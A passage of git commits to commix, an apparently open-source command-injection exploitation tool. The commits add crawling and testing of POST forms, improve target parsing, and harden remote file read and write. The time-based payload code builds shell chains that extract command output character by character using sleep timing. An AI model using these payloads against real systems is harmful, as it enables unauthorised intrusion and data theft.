settings.STDIN_PARSING: menu.parser.print_help() @@ -923,6 +928,7 @@ def main(filename, url, http_request_method): else: output_href = [] + output_forms = [] # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile @@ -953,17 +959,25 @@ def main(filename, url, http_request_method): crawling_list = 1 output_href = crawler.crawler(url, url_num, crawling_list, http_request_method) output_href.append(url) + output_forms += crawler.crawled_forms else: if settings.STDIN_PARSING: bulkfile = stdin_parsing_target(os_checks_num) crawling_list = len(bulkfile) for url in bulkfile: output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) + output_forms += crawler.crawled_forms url_num += 1 output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] if not menu.options.shellshock: - output_href = crawler.normalize_results(output_href) + try: + output_href = crawler.normalize_results(output_href) + except SystemExit: + # No GET links; continue if crawled POST forms are available. + if not output_forms: + raise + output_href = [] settings.CRAWLING_PHASE = False else: filename = None @@ -982,6 +996,84 @@ def main(filename, url, http_request_method): filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Removing duplicates from the identified (crawled) forms. + clean_output_forms = [] + [clean_output_forms.append(x) for x in output_forms if x not in clean_output_forms] + if len(clean_output_forms) != 0: + info_msg = "Found a total of " + str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:] + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Test crawled POST forms first; their method/data are handled separately. + form_num = 0 + orig_data = menu.options.data + orig_user_defined_post_data = settings.USER_DEFINED_POST_DATA + for form_url, form_data in clean_output_forms: + if check_for_injected_url(form_url): + if settings.SKIP_VULNERABLE_HOST is None: + while True: + message = "An injection point has already been detected against '" + _urllib.parse.urlparse(form_url).netloc + "'. " + message += "Do you want to skip further tests involving it? [Y/n] > " + skip_host = common.read_input(message, default="Y", check_batch=True) + if skip_host in settings.CHOICE_YES: + settings.SKIP_VULNERABLE_HOST = True + break + elif skip_host in settings.CHOICE_NO: + settings.SKIP_VULNERABLE_HOST = False + break + elif skip_host in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(skip_host) + pass + + if settings.SKIP_VULNERABLE_HOST: + form_num += 1 + info_msg = "Skipping form URL '" + form_url + "' (" + str(form_num) + "/" + str(len(clean_output_forms)) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + continue + + if not check_for_injected_url(form_url): + settings.SKIP_VULNERABLE_HOST = None + form_num += 1 + perform_check = True + while True: + settings.print_data_to_stdout(settings.print_message("[" + str(form_num) + "/" + str(len(clean_output_forms)) + "] FORM - POST " + form_url + " - " + form_data)) + message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n] > " + next_form = common.read_input(message, default="Y", check_batch=True) + if next_form in settings.CHOICE_YES: + info_msg = "Testing form '" + form_url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + elif next_form in settings.CHOICE_NO: + perform_check = False + break + elif next_form in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_form) + pass + if perform_check: + if os_checks_num == 0: + settings.INIT_TEST = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + menu.options.url = form_url + menu.options.data = form_data + settings.USER_DEFINED_POST_DATA = form_data + settings.IGNORE_USER_DEFINED_POST_DATA = False + init_injection(form_url) + try: + response, form_url = url_response(form_url, settings.HTTPMETHOD.POST) + if response != False: + filename = logs.logs_filename_creation(form_url) + main(filename, form_url, settings.HTTPMETHOD.POST) + except (Exception, SystemExit): + pass + menu.options.data = orig_data + settings.USER_DEFINED_POST_DATA = orig_user_defined_post_data + url_num = 0 for url in clean_output_href: if check_for_injected_url(url): diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py index 900f00e0a4..b12ce641b2 100644 --- a/src/thirdparty/beautifulsoup/beautifulsoup.py +++ b/src/thirdparty/beautifulsoup/beautifulsoup.py @@ -643,6 +643,9 @@ def __nonzero__(self): "A tag is non-None even if it has no contents." return True + # Alias __bool__ for Python 3 to prevent empty tags from being dropped. + __bool__ = __nonzero__ + def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 92178cced2..dc793ba5d5 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -42,6 +42,8 @@ def init_global_vars(): visited_hrefs = [] global new_crawled_hrefs new_crawled_hrefs = [] + global crawled_forms + crawled_forms = [] """ Change the crawling depth level. @@ -76,17 +78,21 @@ def normalize_results(output_href): message = "Do you want to normalize crawling results? [Y/n] > " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: + # Dedupe by path and parameter names, keeping the first occurrence. seen = set() for target in output_href: try: - value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") - match = re.search(r"/[^/?]*\?.+\Z", value) - if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") - if '=' in key and key not in seen: - results.append(target) - seen.add(key) - except TypeError: + parsed = _urllib.parse.urlparse(target) + if not parsed.query: + continue + param_names = tuple(sorted(_urllib.parse.parse_qs(parsed.query).keys())) + if not param_names: + continue + key = (parsed.path, param_names) + if key not in seen: + results.append(target) + seen.add(key) + except Exception: pass no_usable_links(results) return results @@ -171,8 +177,6 @@ def sitemap(url, http_request_method): Store the identified (valid) hrefs. """ def store_hrefs(href, identified_hrefs, redirection): - set(crawled_hrefs) - set(new_crawled_hrefs) if href not in crawled_hrefs: if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: new_crawled_hrefs.append(href) @@ -181,6 +185,42 @@ def store_hrefs(href, identified_hrefs, redirection): return identified_hrefs +""" +Extract form fields as (name, value) pairs, using defaults for empty values. +""" +def extract_form_params(form): + params = [] + for field in form.findAll(["input", "select", "textarea"]): + name = field.get("name") + if not name: + continue + field_type = (field.get("type") or "text").lower() + if field_type in ("submit", "button", "image", "reset", "file"): + continue + if field_type in ("checkbox", "radio") and field.get("checked") is None: + continue + value = "" + if field.name == "select": + option = field.find("option", selected=True) or field.find("option") + if option: + value = option.get("value") or option.text or "" + elif field.name == "textarea": + value = field.text or "" + else: + value = field.get("value") or "" + params.append((name, value or settings.CRAWL_FORM_DEFAULT_VALUE)) + return params + + +""" +Store an identified (valid) POST form as an (action URL, POST data) pair. +""" +def store_forms(action_url, data): + entry = (action_url, data) + if entry not in crawled_forms: + crawled_forms.append(entry) + + """ Do a request to target URL. """ @@ -232,7 +272,7 @@ def check_sitemap(): Check if no usable links found. """ def no_usable_links(crawled_hrefs): - if len(crawled_hrefs) == 0: + if len(crawled_hrefs) == 0 and len(crawled_forms) == 0: warn_msg = "No usable links found (with GET parameters)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.MULTI_TARGETS: @@ -259,7 +299,7 @@ def do_process(url, http_request_method): tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content) for tag in tags: - href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") + href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) if _urllib.parse.urlparse(url).netloc in href: @@ -273,11 +313,27 @@ def do_process(url, http_request_method): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + if menu.options.forms: + for form in soup('form'): + action_url = _urllib.parse.urljoin(url, form.get("action") or url) + if _urllib.parse.urlparse(url).netloc not in action_url: + continue + params = extract_form_params(form) + if not params: + continue + method = (form.get("method") or settings.HTTPMETHOD.GET).upper() + data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v), safe="") for k, v in params) + if method == settings.HTTPMETHOD.POST: + store_forms(action_url, data) + else: + href = action_url + ("&" if "?" in action_url else "?") + data + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) no_usable_links(crawled_hrefs) if identified_hrefs: + # Already deduped by store_hrefs(); list() keeps order stable. if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: - return list(set(new_crawled_hrefs)) - return list(set(crawled_hrefs)) + return list(new_crawled_hrefs) + return list(crawled_hrefs) return list("") except Exception as e: # for non-HTML files and non-valid links diff --git a/src/utils/menu.py b/src/utils/menu.py index 8b4b968067..eefbbb3e44 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -179,6 +179,12 @@ def banner(): default=None, help="Regexp to exclude pages from crawling (e.g. 'logout').") +target.add_option("--forms", + dest="forms", + action="store_true", + default=False, + help="Parse and test forms on target URL (requires '--crawl').") + target.add_option("-x", dest="sitemap_url", help="Parse target(s) from remote sitemap(.xml) file.") diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index df8257a5d6..8cfc92e832 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -349,8 +349,7 @@ def check_stored_injection_points(url, check_parameter, http_request_method): """ -Fetch every stored injection point for this (host, parameter/header, method) -in one query, keyed by technique - avoids re-querying storage per technique. +Load all stored injection points once, keyed by technique. """ def load_stored_techniques(url, check_parameter, http_request_method): stored = {} diff --git a/src/utils/settings.py b/src/utils/settings.py index 5d1bca6c10..0fefcedadd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -264,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "68" +REVISION = "69" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1424,6 +1424,9 @@ class END_LINE: # Default crawling depth DEFAULT_CRAWLING_DEPTH = 1 +# Default value used for a crawled form field that has no pre-filled value. +CRAWL_FORM_DEFAULT_VALUE = "1" + SITEMAP_CHECK = None SITEMAP_XML_FILE = "sitemap.xml" From ae136e7f33832a4dc8a245b49ed9d4b0b51869ad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Aug 2026 08:43:39 +0300 Subject: [PATCH 0726/1023] Improved target parsing performance and reliability for stdin and `-m` (bulk-file) input --- doc/CHANGELOG.md | 5 +++-- src/core/main.py | 38 ++++++++++++++++++++++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 32 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 60cc95a7c5..2534e94f93 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,8 +1,9 @@ ## Version 4.2 (TBA) -* Added: New `--forms` switch to parse and test forms on the target URL (requires `--crawl`). +* Added: New `--forms` switch that parses and tests forms on target URL (requires `--crawl` option). +* Revised: Improved target parsing performance and reliability for stdin and `-m` (bulk-file) input. * Revised: Improved stored-session resume handling. * Revised: Improved parameter parsing and injection point detection across all supported request formats. -* Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques. +* Added: New `--threads` switch to support parallel data retrieval, reducing extraction time on supported techniques. * Revised: Refactored time-related techniques (i.e. "time-based", "tempfile-based") to use binary search for character extraction. * Revised: Refactored `--tor` proxy handling to route HTTP traffic using the configured URL scheme. * Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md). diff --git a/src/core/main.py b/src/core/main.py index 5a3817ed69..399f2533a1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -305,6 +305,15 @@ def init_injection(url): settings.CUSTOM_INJECTION_MARKER = None settings.CUSTOM_FILENAME = "" +""" +Validate and normalize a target line, returning the cleaned URL or None. +""" +def parse_target_line(line): + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I): + line = line.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() + return line.rstrip() + return None + """ Using 'stdin' for parsing targets. """ @@ -316,9 +325,9 @@ def stdin_parsing_target(os_checks_num): menu.options.batch = True settings.MULTI_TARGETS = True for url in sys.stdin: - if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): - url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() - _.append(url.rstrip()) + target = parse_target_line(url) + if target: + _.append(target) return _ """ @@ -948,8 +957,9 @@ def main(filename, url, http_request_method): else: settings.MULTI_TARGETS = True - with open(menu.options.bulkfile) as f: - bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] + menu.options.batch = True + with open(menu.options.bulkfile, encoding="utf-8-sig") as f: + bulkfile = [x for x in (parse_target_line(url) for url in f) if x] # Check if option "--crawl" is enabled. if settings.CRAWLING: @@ -986,20 +996,28 @@ def main(filename, url, http_request_method): else: output_href = stdin_parsing_target(os_checks_num) - # Removing duplicates from list. + # Removing duplicates from list (order-preserving, O(n)). clean_output_href = [] - [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + seen_href = set() + for x in output_href: + if x not in seen_href: + seen_href.add(x) + clean_output_href.append(x) # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(output_href) != 0 and not settings.STDIN_PARSING: + if len(output_href) != 0: if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - # Removing duplicates from the identified (crawled) forms. + # Removing duplicates from the identified (crawled) forms (order-preserving, O(n)). clean_output_forms = [] - [clean_output_forms.append(x) for x in output_forms if x not in clean_output_forms] + seen_forms = set() + for x in output_forms: + if x not in seen_forms: + seen_forms.add(x) + clean_output_forms.append(x) if len(clean_output_forms) != 0: info_msg = "Found a total of " + str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:] + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0fefcedadd..07ced00f1c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -264,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "69" +REVISION = "70" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6aa9ebc2c5f65db3a3fb2ee88d0aab636d5c7b75 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Aug 2026 08:49:57 +0300 Subject: [PATCH 0727/1023] Improved validation and error handling reliability for file access options (i.e. `--file-write`/`--file-dest`/`--file-read`) --- doc/CHANGELOG.md | 4 +- .../techniques/time_based/tb_payloads.py | 14 ++-- src/core/injections/controller/checks.py | 77 +++++++++++-------- src/core/injections/controller/file_access.py | 4 +- src/core/injections/controller/handler.py | 3 +- src/core/main.py | 24 +++++- src/utils/menu.py | 2 +- src/utils/settings.py | 5 +- 8 files changed, 84 insertions(+), 49 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2534e94f93..cf8da87eea 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,6 +1,8 @@ ## Version 4.2 (TBA) -* Added: New `--forms` switch that parses and tests forms on target URL (requires `--crawl` option). +* Revised: Improved validation and error handling reliability for file access options (i.e. `--file-write`/`--file-dest`/`--file-read`). * Revised: Improved target parsing performance and reliability for stdin and `-m` (bulk-file) input. +* Added: New `--forms` switch to parse and test forms on the target URL (requires `--crawl`). + * Revised: Improved stored-session resume handling. * Revised: Improved parameter parsing and injection point detection across all supported request formats. * Added: New `--threads` switch to support parallel data retrieval, reducing extraction time on supported techniques. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 25fd04e553..0d7ab8530f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -314,13 +314,12 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX settings.USER_APPLIED_CMD = cmd if separator in (";", "%0a") : + pipe = "|" payload = (separator + # Grab the execution output. settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + - # Export char-by-char the execution output. - settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + - # Transform from Ascii to Decimal. - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + + # Export command output character-by-character as ASCII values (portable across GNU/BSD). + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -le $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + @@ -330,14 +329,13 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") + pipe = "|" payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + - # Export char-by-char the execution output. - settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + - # Transform from Ascii to Decimal. - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + + # Export command output character-by-character as ASCII values (portable across GNU/BSD). + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5a504546ba..38d0c5f205 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2576,6 +2576,18 @@ def quoted_cmd(cmd): cmd = "\"" + cmd + "\"" return cmd +""" +Escape file content for a double-quoted "printf" argument. +""" +def escape_file_content(content): + content = content.replace("\\", "\\\\") + content = content.replace("\"", "\\\"") + content = content.replace("$", "\\$") + content = content.replace("`", "\\`") + content = content.replace("%", "%%") + content = content.replace(settings.END_LINE.LF, "\\n") + return content + """ Add new "cmd /c" """ @@ -2594,8 +2606,11 @@ def escape_single_quoted_cmd(cmd): Find filename """ def find_filename(dest_to_write, content): - fname = os.path.basename(dest_to_write) - tmp_fname = fname + "_tmp" + # Build absolute paths to avoid relying on the shell's working directory. + norm_dest = dest_to_write.replace("\\", "/") + dirpath = os.path.dirname(norm_dest) + fname = norm_dest + tmp_fname = (dirpath + "/" if dirpath else "") + os.path.basename(norm_dest) + "_tmp" if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: @@ -2656,21 +2671,11 @@ def check_file(remote_file_path): cmd = add_command_substitution(cmd) return cmd -""" -Change directory -""" -def change_dir(dest_to_write): - dest_to_write = dest_to_write.replace("\\","/") - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - cmd = "cd " + path - return cmd - """ File content to read. """ def file_content_to_read(): - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + file_to_read = menu.options.file_read info_msg = "Fetching contents of the file: '" info_msg += file_to_read + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -2690,28 +2695,26 @@ def file_read_status(shell, file_to_read, filename): if shell: _ = "Retrieved file content" settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: + if not menu.options.no_logging: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + settings.END_LINE.LF - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.write(re.compile(settings.ANSI_COLOR_REMOVAL).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "It seems you do not have permission " - warn_msg += "to read the contents of the file '" + file_to_read + "'." + warn_msg = "No content was retrieved for the file '" + file_to_read + "'. " + warn_msg += "This could mean the file does not exist, is empty, or you do not have permission to read it." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Build the final destination path for file write operations. """ def check_destination(destination): - if menu.options.file_write: - where = menu.options.file_write - if os.path.split(destination)[1] == "" : - _ = os.path.split(destination)[0] + "/" + os.path.split(where)[1] - elif os.path.split(destination)[0] == "/": - _ = "/" + os.path.split(destination)[1] + "/" + os.path.split(where)[1] - elif os.path.split(destination)[0] == "\\": - _ = "\\" + os.path.split(destination)[1] + "\\" + os.path.split(where)[1] + where = menu.options.file_write + # Normalize path separators before splitting. + normalized = destination.replace("\\", "/") + # A destination with no trailing filename is a directory, so append the local filename. + if os.path.split(normalized)[1] == "": + _ = os.path.split(normalized)[0].rstrip("/") + "/" + os.path.split(where)[1] else: _ = destination return _ @@ -2720,19 +2723,27 @@ def check_destination(destination): Write the content of a local file to a remote destination. """ def check_file_to_write(): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() + file_to_write = menu.options.file_write if not os.path.exists(file_to_write): err_msg = "The specified local file '" + file_to_write + "' does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace(settings.END_LINE.CRLF, settings.END_LINE.LF).replace(settings.END_LINE.CR, settings.END_LINE.LF).replace(settings.END_LINE.LF, settings.SINGLE_WHITESPACE) for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") + try: + with open(file_to_write, 'r', encoding=settings.DEFAULT_CODEC) as content_file: + content = content_file.read() + except (OSError, UnicodeDecodeError) as err: + err_msg = "Unable to read the local file '" + file_to_write + "' (" + str(err) + "). " + err_msg += "Note that '--file-write' does not support binary files." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + content = content.replace(settings.END_LINE.CRLF, settings.END_LINE.LF).replace(settings.END_LINE.CR, settings.END_LINE.LF) if settings.TARGET_OS == settings.OS.WINDOWS: import base64 content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() + else: + content = escape_file_content(content) else: warn_msg = "The specified path '" + file_to_write + "' is not a file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2753,7 +2764,8 @@ def file_write_status(shell, dest_to_write): info_msg = "The file has been successfully created in remote directory: '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems you do not have permission to write files to the remote directory '" + dest_to_write + "'." + warn_msg = "The file does not appear to exist in the remote directory '" + dest_to_write + "'. " + warn_msg += "This could mean the write failed, or you do not have permission to write to that directory." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2944,8 +2956,9 @@ def check_trailing_slashes(): if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT + settings.CALL_TMP_BASED = False if menu.options.file_dest and '/tmp/' in menu.options.file_dest: - call_tmp_based = True + settings.CALL_TMP_BASED = True if menu.options.web_root: settings.WEB_ROOT = menu.options.web_root diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index 40c8e5c0d0..f7293d08c4 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -39,8 +39,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.TIME_RELATED_ATTACK: whitespace = settings.WHITESPACES[0] _ = True - cmd = checks.change_dir(dest_to_write) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) cmd = checks.win_decode_b64_enc(fname, tmp_fname) @@ -69,7 +67,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - cmd = cmd + settings.COMMENT + cmd = cmd + settings.SINGLE_WHITESPACE + settings.COMMENT response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) else: response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index bf47a9299c..089a6f4ec5 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -442,7 +442,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec no_result = True is_encoded = False stop_injection = False - call_tmp_based = False next_attack_vector = False export_injection_info = False @@ -587,7 +586,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec except _urllib.error.HTTPError as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: percent, float_percent = checks.percentage_calculation(i, total) - if call_tmp_based == True: + if settings.CALL_TMP_BASED == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" checks.tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) diff --git a/src/core/main.py b/src/core/main.py index 399f2533a1..b0f6ac17b2 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -352,6 +352,9 @@ def check_value_inside_boundaries(url, http_request_method): """ def main(filename, url, http_request_method): try: + # Reset per-target state so file access isn't silently skipped for later targets. + settings.FILE_ACCESS_DONE = False + if menu.options.alert: if menu.options.alert.startswith('-'): err_msg = "Value for option '--alert' must be valid operating system command(s)." @@ -507,7 +510,7 @@ def main(filename, url, http_request_method): raise SystemExit() # Check the file-destination - if menu.options.file_write and not menu.options.file_dest: + if menu.options.file_write is not None and not menu.options.file_dest: err_msg = "Host's absolute filepath to write, must be specified (i.e. '--file-dest')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -517,6 +520,25 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # The remote destination must be an absolute filepath (Unix-style, Windows drive-letter, or UNC). + if menu.options.file_dest and not (menu.options.file_dest.startswith(("/", "\\")) or \ + re.match(r"^[A-Za-z]:[\\/]", menu.options.file_dest)): + err_msg = "The value for option '--file-dest' must be an absolute filepath " + err_msg += "(e.g. '/tmp/file' or 'C:\\Windows\\Temp\\file')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Check the local file to write, before any tests are performed. + if menu.options.file_write is not None: + if not os.path.exists(menu.options.file_write): + err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if not os.path.isfile(menu.options.file_write): + err_msg = "The specified path '" + menu.options.file_write + "' is not a file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: diff --git a/src/utils/menu.py b/src/utils/menu.py index eefbbb3e44..40cdf675a4 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -814,7 +814,7 @@ def enumeration_options(): Check if file access options are enabled. """ def file_access_options(): - if any((options.file_write, options.file_read)): + if any(v is not None for v in (options.file_write, options.file_read)): return True # 